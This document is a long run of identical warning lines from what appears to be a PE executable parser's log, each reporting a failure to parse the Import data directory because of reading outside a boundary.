+time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:50:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 